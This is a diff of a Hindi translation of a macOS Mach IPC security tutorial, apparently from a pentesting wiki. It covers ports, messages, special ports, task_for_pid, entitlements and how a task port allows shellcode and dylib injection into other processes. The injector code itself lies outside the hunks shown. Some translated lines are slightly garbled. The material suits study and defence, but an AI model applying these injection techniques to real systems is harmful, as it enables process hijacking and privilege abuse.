जाता है। > [!CAUTION] -> ध्यान दें कि **mach messages को `mach port` के माध्यम से भेजा जाता है**, जो एक **एकल प्राप्तकर्ता**, **कई प्रेषक** संचार चैनल है जो mach kernel में निर्मित है। **कई प्रक्रियाएँ** एक mach port पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**। +> ध्यान दें कि **mach messages एक `mach port` के माध्यम से भेजे जाते हैं**, जो एक **एकल प्राप्तकर्ता**, **कई प्रेषक** संचार चैनल है जो mach कर्नेल में निर्मित है। **कई प्रक्रियाएँ** एक mach पोर्ट पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**। -संदेश फिर **`mach_msg_header_t`** हेडर द्वारा निर्मित होते हैं, इसके बाद **body** और **trailer** (यदि कोई हो) होता है और यह उत्तर देने की अनुमति दे सकता है। इन मामलों में, kernel को केवल एक कार्य से दूसरे कार्य में संदेश को पास करने की आवश्यकता होती है। +संदेश फिर **`mach_msg_header_t`** हेडर द्वारा निर्मित होते हैं, इसके बाद **body** और **trailer** (यदि कोई हो) होता है और यह उत्तर देने की अनुमति दे सकता है। इन मामलों में, कर्नेल को केवल एक कार्य से दूसरे कार्य में संदेश पास करने की आवश्यकता होती है। -एक **trailer** **kernel द्वारा संदेश में जोड़ी गई जानकारी** है (उपयोगकर्ता द्वारा सेट नहीं की जा सकती) जिसे संदेश प्राप्ति में `MACH_RCV_TRAILER_` फ्लैग के साथ अनुरोध किया जा सकता है (विभिन्न जानकारी अनुरोध की जा सकती है)। +एक **trailer** **कर्नेल द्वारा संदेश में जोड़ी गई जानकारी** है (जिसे उपयोगकर्ता द्वारा सेट नहीं किया जा सकता) जिसे संदेश प्राप्ति में `MACH_RCV_TRAILER_` फ्लैग के साथ अनुरोध किया जा सकता है (विभिन्न जानकारी अनुरोध की जा सकती है)। -#### Complex Messages +#### जटिल संदेश -हालांकि, अन्य अधिक **complex** संदेश हैं, जैसे अतिरिक्त पोर्ट अधिकारों को पास करने या मेमोरी साझा करने वाले, जहाँ kernel को भी इन वस्तुओं को प्राप्तकर्ता को भेजने की आवश्यकता होती है। इन मामलों में, हेडर `msgh_bits` का सबसे महत्वपूर्ण बिट सेट किया जाता है। +हालांकि, अन्य अधिक **जटिल** संदेश हैं, जैसे अतिरिक्त पोर्ट अधिकारों को पास करना या मेमोरी साझा करना, जहाँ कर्नेल को इन वस्तुओं को प्राप्तकर्ता को भी भेजने की आवश्यकता होती है। इन मामलों में, हेडर `msgh_bits` का सबसे महत्वपूर्ण बिट सेट किया जाता है। -पास करने के लिए संभावित वर्णनकर्ताओं को [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) में परिभाषित किया गया है: +पारितोषिक पास करने के लिए संभावित वर्णनकर्ताओं को [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) में परिभाषित किया गया है: ```c #define MACH_MSG_PORT_DESCRIPTOR 0 #define MACH_MSG_OOL_DESCRIPTOR 1 @@ -150,31 +150,31 @@ unsigned int pad3 : 24; mach_msg_descriptor_type_t type : 8; } mach_msg_type_descriptor_t; ``` -In 32बिट्स में, सभी डिस्क्रिप्टर्स 12B होते हैं और डिस्क्रिप्टर प्रकार 11वें में होता है। 64 बिट्स में, आकार भिन्न होते हैं। +In 32बिट में, सभी डिस्क्रिप्टर्स 12B होते हैं और डिस्क्रिप्टर प्रकार 11वें में होता है। 64 बिट में, आकार भिन्न होते हैं। > [!CAUTION] -> कर्नेल एक कार्य से दूसरे कार्य में डिस्क्रिप्टर्स की कॉपी करेगा लेकिन पहले **कर्नेल मेमोरी में एक कॉपी बनाएगा**। इस तकनीक को "Feng Shui" के रूप में जाना जाता है और इसे कई एक्सप्लॉइट्स में **कर्नेल को अपनी मेमोरी में डेटा कॉपी करने** के लिए दुरुपयोग किया गया है, जिससे एक प्रक्रिया अपने लिए डिस्क्रिप्टर्स भेज सकती है। फिर प्रक्रिया संदेश प्राप्त कर सकती है (कर्नेल उन्हें मुक्त कर देगा)। +> कर्नेल एक कार्य से दूसरे कार्य में डिस्क्रिप्टर्स की कॉपी करेगा लेकिन पहले **कर्नेल मेमोरी में एक कॉपी बनाएगा**। इस तकनीक को "Feng Shui" के रूप में जाना जाता है और इसे कई एक्सप्लॉइट्स में दुरुपयोग किया गया है ताकि **कर्नेल अपने मेमोरी में डेटा कॉपी करे** जिससे एक प्रक्रिया अपने लिए डिस्क्रिप्टर्स भेज सके। फिर प्रक्रिया संदेश प्राप्त कर सकती है (कर्नेल उन्हें मुक्त कर देगा)। > > यह भी संभव है कि **एक कमजोर प्रक्रिया को पोर्ट अधिकार भेजे जाएं**, और पोर्ट अधिकार बस प्रक्रिया में दिखाई देंगे (भले ही वह उन्हें संभाल नहीं रही हो)। ### Mac Ports APIs -ध्यान दें कि पोर्ट कार्य नामस्थान से जुड़े होते हैं, इसलिए एक पोर्ट बनाने या खोजने के लिए, कार्य नामस्थान को भी क्वेरी किया जाता है (अधिक जानकारी के लिए `mach/mach_port.h`): +ध्यान दें कि पोर्ट कार्य नामस्थान से जुड़े होते हैं, इसलिए एक पोर्ट बनाने या खोजने के लिए, कार्य नामस्थान को भी क्वेरी किया जाता है (अधिक जानकारी के लिए `mach/mach_port.h` देखें): - **`mach_port_allocate` | `mach_port_construct`**: **एक पोर्ट बनाएँ**। -- `mach_port_allocate` एक **पोर्ट सेट** भी बना सकता है: पोर्ट्स के एक समूह पर प्राप्त अधिकार। जब भी एक संदेश प्राप्त होता है, यह इंगित करता है कि यह किस पोर्ट से था। +- `mach_port_allocate` एक **पोर्ट सेट** भी बना सकता है: पोर्ट्स के समूह पर प्राप्त अधिकार। जब भी एक संदेश प्राप्त होता है, यह इंगित करता है कि यह किस पोर्ट से था। - `mach_port_allocate_name`: पोर्ट का नाम बदलें (डिफ़ॉल्ट 32बिट पूर्णांक) - `mach_port_names`: एक लक्ष्य से पोर्ट नाम प्राप्त करें -- `mach_port_type`: एक नाम पर कार्य के अधिकार प्राप्त करें +- `mach_port_type`: एक नाम पर एक कार्य के अधिकार प्राप्त करें - `mach_port_rename`: एक पोर्ट का नाम बदलें (जैसे FDs के लिए dup2) - `mach_port_allocate`: एक नया RECEIVE, PORT_SET या DEAD_NAME आवंटित करें -- `mach_port_insert_right`: एक पोर्ट में एक नया अधिकार बनाएँ जहाँ आपके पास RECEIVE है +- `mach_port_insert_right`: एक पोर्ट में एक नया अधिकार बनाएं जहां आपके पास RECEIVE है - `mach_port_...` -- **`mach_msg`** | **`mach_msg_overwrite`**: **mach संदेश भेजने और प्राप्त करने** के लिए उपयोग की जाने वाली फ़ंक्शन। ओवरराइट संस्करण संदेश प्राप्ति के लिए एक अलग बफर निर्दिष्ट करने की अनुमति देता है (दूसरा संस्करण बस इसका पुन: उपयोग करेगा)। +- **`mach_msg`** | **`mach_msg_overwrite`**: **माच संदेश भेजने और प्राप्त करने** के लिए उपयोग की जाने वाली फ़ंक्शन। ओवरराइट संस्करण संदेश प्राप्ति के लिए एक अलग बफर निर्दिष्ट करने की अनुमति देता है (दूसरा संस्करण बस इसका पुन: उपयोग करेगा)। ### Debug mach_msg -चूंकि फ़ंक्शन **`mach_msg`** और **`mach_msg_overwrite`** उन फ़ंक्शंस में से हैं जो संदेश भेजने और प्राप्त करने के लिए उपयोग किए जाते हैं, उन पर एक ब्रेकपॉइंट सेट करने से भेजे गए और प्राप्त किए गए संदेशों का निरीक्षण करने की अनुमति मिलेगी। +चूंकि फ़ंक्शन **`mach_msg`** और **`mach_msg_overwrite`** का उपयोग संदेश भेजने और प्राप्त करने के लिए किया जाता है, इसलिए उन पर एक ब्रेकपॉइंट सेट करने से भेजे गए और प्राप्त किए गए संदेशों का निरीक्षण करने की अनुमति मिलेगी। उदाहरण के लिए, किसी भी एप्लिकेशन को डिबग करना शुरू करें जिसे आप डिबग कर सकते हैं क्योंकि यह **`libSystem.B` लोड करेगा जो इस फ़ंक्शन का उपयोग करेगा**। @@ -241,7 +241,7 @@ x6 = 0x0000000000000000 ;mach_port_name_t (notify) ; 0x00000b07 -> mach_port_name_t (msgh_voucher_port) ; 0x40000322 -> mach_msg_id_t (msgh_id) ``` -उस प्रकार का `mach_msg_bits_t` एक उत्तर की अनुमति देने के लिए बहुत सामान्य है। +`mach_msg_bits_t` प्रकार का उपयोग करना एक सामान्य प्रक्रिया है जो उत्तर की अनुमति देता है। ### पोर्ट्स की गणना करें ```bash @@ -269,9 +269,9 @@ name ipc-object rights flags boost reqs recv send sonce oref q ``` **नाम** वह डिफ़ॉल्ट नाम है जो पोर्ट को दिया गया है (चेक करें कि यह पहले 3 बाइट्स में कैसे **बढ़ रहा** है)। **`ipc-object`** पोर्ट का **अज्ञात** अद्वितीय **पहचानकर्ता** है।\ यह भी ध्यान दें कि केवल **`send`** अधिकार वाले पोर्ट इसके **स्वामी की पहचान कर रहे हैं** (पोर्ट नाम + pid)।\ -यह भी ध्यान दें कि **`+`** का उपयोग **एक ही पोर्ट से जुड़े अन्य कार्यों** को इंगित करने के लिए किया गया है। +यह भी ध्यान दें कि **`+`** का उपयोग **एक ही पोर्ट से जुड़े अन्य कार्यों** को इंगित करने के लिए किया जाता है। -यह भी संभव है कि [**procesxp**](https://www.newosxbook.com/tools/procexp.html) का उपयोग करके **पंजीकृत सेवा नामों** को देखा जा सके (SIP को `com.apple.system-task-port` की आवश्यकता के कारण अक्षम किया गया है): +यह भी संभव है कि [**procesxp**](https://www.newosxbook.com/tools/procexp.html) का उपयोग करके **पंजीकृत सेवा नामों** को भी देखा जा सके (SIP को `com.apple.system-task-port` की आवश्यकता के कारण बंद किया गया है): ``` procesp 1 ports ``` @@ -279,7 +279,7 @@ procesp 1 ports ### कोड उदाहरण -ध्यान दें कि **प्रेषक** एक पोर्ट **आवंटित** करता है, नाम `org.darlinghq.example` के लिए एक **भेजने का अधिकार** बनाता है और इसे **बूटस्ट्रैप सर्वर** पर भेजता है जबकि प्रेषक ने उस नाम के **भेजने के अधिकार** के लिए अनुरोध किया और इसका उपयोग **संदेश भेजने** के लिए किया। +ध्यान दें कि **sender** एक पोर्ट **आवंटित** करता है, नाम `org.darlinghq.example` के लिए एक **send right** बनाता है और इसे **bootstrap server** पर भेजता है जबकि sender ने उस नाम के **send right** के लिए अनुरोध किया और इसका उपयोग **संदेश भेजने** के लिए किया। {{#tabs}} {{#tab name="receiver.c"}} @@ -407,18 +407,18 @@ printf("Sent a message\n"); ## विशेष पोर्ट -कुछ विशेष पोर्ट हैं जो **कुछ संवेदनशील क्रियाएँ करने या कुछ संवेदनशील डेटा तक पहुँचने** की अनुमति देते हैं यदि किसी कार्य के पास उनके ऊपर **SEND** अनुमतियाँ हैं। यह इन पोर्टों को हमलावरों के दृष्टिकोण से बहुत दिलचस्प बनाता है, न केवल क्षमताओं के कारण बल्कि इसलिए भी क्योंकि यह **कार्य के बीच SEND अनुमतियाँ साझा करना** संभव है। +कुछ विशेष पोर्ट हैं जो **कुछ संवेदनशील क्रियाएँ करने या कुछ संवेदनशील डेटा तक पहुँचने** की अनुमति देते हैं यदि किसी कार्य के पास उनके ऊपर **SEND** अनुमतियाँ हैं। यह इन पोर्टों को हमलावरों के दृष्टिकोण से बहुत दिलचस्प बनाता है, न केवल क्षमताओं के कारण बल्कि इसलिए भी क्योंकि यह **कार्य के बीच SEND अनुमतियाँ साझा करना संभव है**। ### होस्ट विशेष पोर्ट -इन पोर्टों का प्रतिनिधित्व एक संख्या द्वारा किया जाता है। +ये पोर्ट एक संख्या द्वारा दर्शाए जाते हैं। -**SEND** अधिकार **`host_get_special_port`** को कॉल करके प्राप्त किए जा सकते हैं और **RECEIVE** अधिकार **`host_set_special_port`** को कॉल करके। हालाँकि, दोनों कॉल के लिए **`host_priv`** पोर्ट की आवश्यकता होती है जिसे केवल रूट ही एक्सेस कर सकता है। इसके अलावा, अतीत में रूट **`host_set_special_port`** को कॉल करके मनमाने तरीके से हाइजैक कर सकता था, जिससे उदाहरण के लिए कोड हस्ताक्षरों को बायपास करने की अनुमति मिलती थी, `HOST_KEXTD_PORT` को हाइजैक करके (SIP अब इसे रोकता है)। +**SEND** अधिकार **`host_get_special_port`** को कॉल करके प्राप्त किए जा सकते हैं और **RECEIVE** अधिकार **`host_set_special_port`** को कॉल करके। हालाँकि, दोनों कॉल के लिए **`host_priv`** पोर्ट की आवश्यकता होती है जिसे केवल रूट ही एक्सेस कर सकता है। इसके अलावा, अतीत में रूट **`host_set_special_port`** को कॉल करके मनमाने तरीके से हाइजैक कर सकता था, जिससे उदाहरण के लिए कोड सिग्नेचर को बायपास करना संभव हो जाता था, `HOST_KEXTD_PORT` को हाइजैक करके (SIP अब इसे रोकता है)। -इनका विभाजन 2 समूहों में किया गया है: **पहले 7 पोर्ट कर्नेल द्वारा स्वामित्व** में हैं, जिसमें 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` और 7 `HOST_MAX_SPECIAL_KERNEL_PORT` है।\ -संख्या **8** से शुरू होने वाले पोर्ट **सिस्टम डेमन्स द्वारा स्वामित्व** में हैं और इन्हें [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) में घोषित किया गया है। +इनका विभाजन 2 समूहों में किया गया है: **पहले 7 पोर्ट कर्नेल द्वारा स्वामित्व में हैं**, जिसमें 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` और 7 `HOST_MAX_SPECIAL_KERNEL_PORT` है।\ +संख्या **8** से शुरू होने वाले पोर्ट **सिस्टम डेमन्स द्वारा स्वामित्व में हैं** और इन्हें [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) में घोषित किया गया है। -- **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **SEND** विशेषाधिकार है, तो वह **सिस्टम** के बारे में **जानकारी** प्राप्त कर सकता है, जैसे: +- **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **SEND** विशेषाधिकार है, तो वह **सूचना** प्राप्त कर सकती है **सिस्टम** के बारे में, जैसे: - `host_processor_info`: प्रोसेसर जानकारी प्राप्त करें - `host_info`: होस्ट जानकारी प्राप्त करें - `host_virtual_physical_table_info`: वर्चुअल/फिजिकल पेज टेबल (MACH_VMDEBUG की आवश्यकता है) @@ -429,12 +429,12 @@ printf("Sent a message\n"); - अन्य रूटीन जो कॉल किए जा सकते हैं: - `host_get_boot_info`: `machine_boot_info()` प्राप्त करें - `host_priv_statistics`: विशेषाधिकार प्राप्त सांख्यिकी प्राप्त करें -- `vm_allocate_cpm`: निरंतर भौतिक मेमोरी आवंटित करें -- `host_processors`: होस्ट प्रोसेसर को भेजें अधिकार +- `vm_allocate_cpm`: सन्निहित भौतिक मेमोरी आवंटित करें +- `host_processors`: होस्ट प्रोसेसर्स को भेजें अधिकार - `mach_vm_wire`: मेमोरी को निवासित बनाएं -- चूंकि **रूट** इस अनुमति को एक्सेस कर सकता है, यह **होस्ट विशेष या अपवाद पोर्ट** को हाइजैक करने के लिए `host_set_[special/exception]_port[s]` को कॉल कर सकता है। +- चूंकि **रूट** इस अनुमति को एक्सेस कर सकता है, यह `host_set_[special/exception]_port[s]` को कॉल करके **होस्ट विशेष या अपवाद पोर्ट्स को हाइजैक** कर सकता है। -यह **सभी होस्ट विशेष पोर्ट** देखने के लिए संभव है: +यह संभव है कि **सभी होस्ट विशेष पोर्ट्स** को चलाकर देखा जाए: ```bash procexp all ports | grep "HSP" ``` @@ -451,24 +451,24 @@ world.*/ #define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */ #define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */ ``` -- **TASK_KERNEL_PORT**\[task-self send right]: इस कार्य को नियंत्रित करने के लिए उपयोग किया जाने वाला पोर्ट। इस कार्य को प्रभावित करने वाले संदेश भेजने के लिए उपयोग किया जाता है। यह **mach_task_self (नीचे कार्य पोर्ट देखें)** द्वारा लौटाया गया पोर्ट है। -- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: कार्य का बूटस्ट्रैप पोर्ट। अन्य सिस्टम सेवा पोर्ट्स की वापसी के लिए संदेश भेजने के लिए उपयोग किया जाता है। -- **TASK_HOST_NAME_PORT**\[host-self send right]: समाहित होस्ट की जानकारी मांगने के लिए उपयोग किया जाने वाला पोर्ट। यह **mach_host_self** द्वारा लौटाया गया पोर्ट है। +- **TASK_KERNEL_PORT**\[task-self send right]: इस कार्य को नियंत्रित करने के लिए उपयोग किया जाने वाला पोर्ट। इस कार्य को प्रभावित करने वाले संदेश भेजने के लिए उपयोग किया जाता है। यह पोर्ट **mach_task_self (नीचे कार्य पोर्ट देखें)** द्वारा लौटाया जाता है। +- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: कार्य का बूटस्ट्रैप पोर्ट। अन्य सिस्टम सेवा पोर्ट की वापसी के लिए संदेश भेजने के लिए उपयोग किया जाता है। +- **TASK_HOST_NAME_PORT**\[host-self send right]: समाहित होस्ट की जानकारी मांगने के लिए उपयोग किया जाने वाला पोर्ट। यह पोर्ट **mach_host_self** द्वारा लौटाया जाता है। - **TASK_WIRED_LEDGER_PORT**\[ledger send right]: वह पोर्ट जो इस कार्य के लिए वायर्ड कर्नेल मेमोरी का स्रोत नामित करता है। - **TASK_PAGED_LEDGER_PORT**\[ledger send right]: वह पोर्ट जो इस कार्य के लिए डिफ़ॉल्ट मेमोरी प्रबंधित मेमोरी का स्रोत नामित करता है। ### कार्य पोर्ट -शुरुआत में Mach में "प्रक्रियाएँ" नहीं थीं, बल्कि "कार्य" थे जो थ्रेड्स के कंटेनर के समान माने जाते थे। जब Mach को BSD के साथ जोड़ा गया, **तो प्रत्येक कार्य को एक BSD प्रक्रिया से संबंधित किया गया**। इसलिए हर BSD प्रक्रिया के पास वह विवरण होता है जिसकी उसे एक प्रक्रिया बनने के लिए आवश्यकता होती है और हर Mach कार्य के पास भी इसके आंतरिक कार्य होते हैं (सिवाय अस्तित्वहीन pid 0 के जो `kernel_task` है)। +शुरुआत में Mach में "प्रक्रियाएँ" नहीं थीं, बल्कि "कार्य" थे जो थ्रेड्स के कंटेनर के रूप में अधिक माने जाते थे। जब Mach को BSD के साथ जोड़ा गया, **तो प्रत्येक कार्य को एक BSD प्रक्रिया से संबंधित किया गया**। इसलिए हर BSD प्रक्रिया के पास वह विवरण होता है जिसकी उसे एक प्रक्रिया बनने के लिए आवश्यकता होती है और हर Mach कार्य के पास भी इसके आंतरिक कार्य होते हैं (सिवाय उस गैर-मौजूद pid 0 के जो `kernel_task` है)। इससे संबंधित दो बहुत दिलचस्प कार्य हैं: -- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: निर्दिष्ट `pid` द्वारा संबंधित कार्य के कार्य पोर्ट के लिए एक SEND अधिकार प्राप्त करें और इसे निर्दिष्ट `target_task_port` (जो आमतौर पर वह कॉलर कार्य होता है जिसने `mach_task_self()` का उपयोग किया है, लेकिन यह एक अलग कार्य पर एक SEND पोर्ट भी हो सकता है) को दें। +- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: निर्दिष्ट `pid` द्वारा संबंधित कार्य के कार्य पोर्ट के लिए एक SEND अधिकार प्राप्त करें और इसे निर्दिष्ट `target_task_port` (जो आमतौर पर वह कॉलर कार्य होता है जिसने `mach_task_self()` का उपयोग किया है, लेकिन यह किसी अन्य कार्य पर एक SEND पोर्ट भी हो सकता है) को दें। - `pid_for_task(task, &pid)`: एक कार्य को SEND अधिकार दिए जाने पर, यह पता करें कि यह कार्य किस PID से संबंधित है। कार्य के भीतर क्रियाएँ करने के लिए, कार्य को `mach_task_self()` को कॉल करके अपने लिए एक `SEND` अधिकार की आवश्यकता थी (जो `task_self_trap` (28) का उपयोग करता है)। इस अनुमति के साथ एक कार्य कई क्रियाएँ कर सकता है जैसे: -- `task_threads`: कार्य के थ्रेड्स के सभी कार्य पोर्ट्स पर SEND अधिकार प्राप्त करें +- `task_threads`: कार्य के थ्रेड्स के सभी कार्य पोर्ट पर SEND अधिकार प्राप्त करें - `task_info`: एक कार्य के बारे में जानकारी प्राप्त करें - `task_suspend/resume`: एक कार्य को निलंबित या फिर से शुरू करें - `task_[get/set]_special_port` @@ -477,21 +477,21 @@ world.*/ - और अधिक जानकारी [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h) में पाई जा सकती है। > [!CAUTION] -> ध्यान दें कि एक **अलग कार्य** के कार्य पोर्ट पर SEND अधिकार के साथ, एक अलग कार्य पर ऐसी क्रियाएँ करना संभव है। +> ध्यान दें कि एक **विभिन्न कार्य** के कार्य पोर्ट पर SEND अधिकार के साथ, किसी अन्य कार्य पर ऐसी क्रियाएँ करना संभव है। -इसके अलावा, task_port भी **`vm_map`** पोर्ट है जो एक कार्य के भीतर मेमोरी को **पढ़ने और हेरफेर करने** की अनुमति देता है, जैसे कि `vm_read()` और `vm_write()` जैसी कार्यों के साथ। इसका अर्थ यह है कि एक कार्य जिसके पास एक अलग कार्य के task_port पर SEND अधिकार हैं, वह उस कार्य में **कोड इंजेक्ट** करने में सक्षम होगा। +इसके अलावा, task_port भी **`vm_map`** पोर्ट है जो एक कार्य के भीतर मेमोरी को **पढ़ने और हेरफेर करने** की अनुमति देता है जैसे कि `vm_read()` और `vm_write()`। इसका अर्थ यह है कि एक कार्य जिसके पास किसी अन्य कार्य के task_port पर SEND अधिकार हैं, वह उस कार्य में **कोड इंजेक्ट** करने में सक्षम होगा। याद रखें कि क्योंकि **कर्नेल भी एक कार्य है**, यदि कोई **`kernel_task`** पर **SEND अनुमतियाँ** प्राप्त करने में सफल होता है, तो वह कर्नेल को कुछ भी निष्पादित करने के लिए मजबूर कर सकता है (जेलब्रेक)। -- कॉल करें `mach_task_self()` इस पोर्ट के लिए कॉलर कार्य का **नाम प्राप्त करने** के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** लिया जाता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं। +- कॉल करें `mach_task_self()` इस पोर्ट के लिए **नाम प्राप्त करने** के लिए कॉलर कार्य के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** लिया जाता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं। - ये पोर्ट तक पहुँचने के लिए प्रतिबंध हैं (बाइनरी `AppleMobileFileIntegrity` से `macos_task_policy` से): -- यदि ऐप के पास **`com.apple.security.get-task-allow` अधिकार** हैं, तो **समान उपयोगकर्ता** के प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं (आम तौर पर Xcode द्वारा डिबगिंग के लिए जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी। -- **`com.apple.system-task-ports`** अधिकार वाले ऐप्स किसी भी प्रक्रिया के लिए **कार्य पोर्ट प्राप्त कर सकते हैं**, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है। -- **रूट कार्य पोर्ट्स** तक पहुँच सकता है उन अनुप्रयोगों के **जो** एक **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं हैं)। +- यदि ऐप के पास **`com.apple.security.get-task-allow` अधिकार** हैं, तो **समान उपयोगकर्ता** के प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं (आमतौर पर Xcode द्वारा डिबगिंग के लिए जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी। +- **`com.apple.system-task-ports`** अधिकार वाले ऐप किसी भी प्रक्रिया के लिए **कार्य पोर्ट प्राप्त कर सकते हैं**, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है। +- **रूट कार्य पोर्ट्स** तक पहुँच सकता है उन अनुप्रयोगों के **जो** एक **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं)। -**कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिविलेज्ड संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज `task_info()` प्रतीत होती है। +**कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिविलेज्ड संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज़ `task_info()` प्रतीत होती है। -### थ्रेड पोर्ट्स +### थ्रेड पोर्ट थ्रेड्स के साथ भी संबंधित पोर्ट होते हैं, जो कार्य से **`task_threads`** को कॉल करने और प्रोसेसर से `processor_set_threads` से दिखाई देते हैं। थ्रेड पोर्ट पर SEND अधिकार `thread_act` उपप्रणाली से कार्यों का उपयोग करने की अनुमति देता है, जैसे: @@ -508,6 +508,7 @@ world.*/ आप एक शेलकोड प्राप्त कर सकते हैं: + {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -558,7 +559,7 @@ return 0; {{#endtab}} {{#endtabs}} -**पिछले प्रोग्राम को संकलित करें** और कोड को उसी उपयोगकर्ता के साथ इंजेक्ट करने के लिए **अधिकार** जोड़ें (यदि नहीं, तो आपको **sudo** का उपयोग करना होगा)। +**पार्श्विक** पिछले प्रोग्राम को संकलित करें और कोड इंजेक्ट करने के लिए **अधिकार** जोड़ें उसी उपयोगकर्ता के साथ (यदि नहीं, तो आपको **sudo** का उपयोग करना होगा)।
@@ -772,13 +773,14 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ### कार्य पोर्ट के माध्यम से थ्रेड में Dylib इंजेक्शन -macOS में **थ्रेड्स** को **Mach** के माध्यम से या **posix `pthread` api** का उपयोग करके हेरफेर किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix अनुपालन नहीं है**। +macOS में **थ्रेड्स** को **Mach** के माध्यम से या **posix `pthread` api** का उपयोग करके हेरफेर किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया था, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix अनुपालन नहीं है**। -एक **सरल शेलकोड** इंजेक्ट करना संभव था ताकि एक कमांड निष्पादित किया जा सके क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए। +एक **सरल शेलकोड** को एक कमांड निष्पादित करने के लिए इंजेक्ट करना संभव था क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए। -इसलिए, **थ्रेड को सुधारने** के लिए इसे **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread बनाएगा**। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib लोड किया जा सके**, इसलिए विभिन्न क्रियाओं को करने के लिए नए शेलकोड को लिखने के बजाय कस्टम पुस्तकालयों को लोड करना संभव है। +इसलिए, **थ्रेड को सुधारने** के लिए इसे **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread बनाएगा**। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib लोड** किया जा सके, इसलिए विभिन्न क्रियाओं को करने के लिए नए शेलकोड को लिखने के बजाय कस्टम पुस्तकालयों को लोड करना संभव है। + +आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए, वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं): -आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं): {{#ref}} ../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1078,20 +1080,20 @@ macos-thread-injection-via-task-port.md जब एक थ्रेड में कोई अपवाद होता है, तो यह अपवाद थ्रेड के निर्दिष्ट अपवाद पोर्ट पर भेजा जाता है। यदि थ्रेड इसे संभाल नहीं पाता है, तो इसे टास्क अपवाद पोर्ट पर भेजा जाता है। यदि टास्क इसे संभाल नहीं पाता है, तो इसे होस्ट 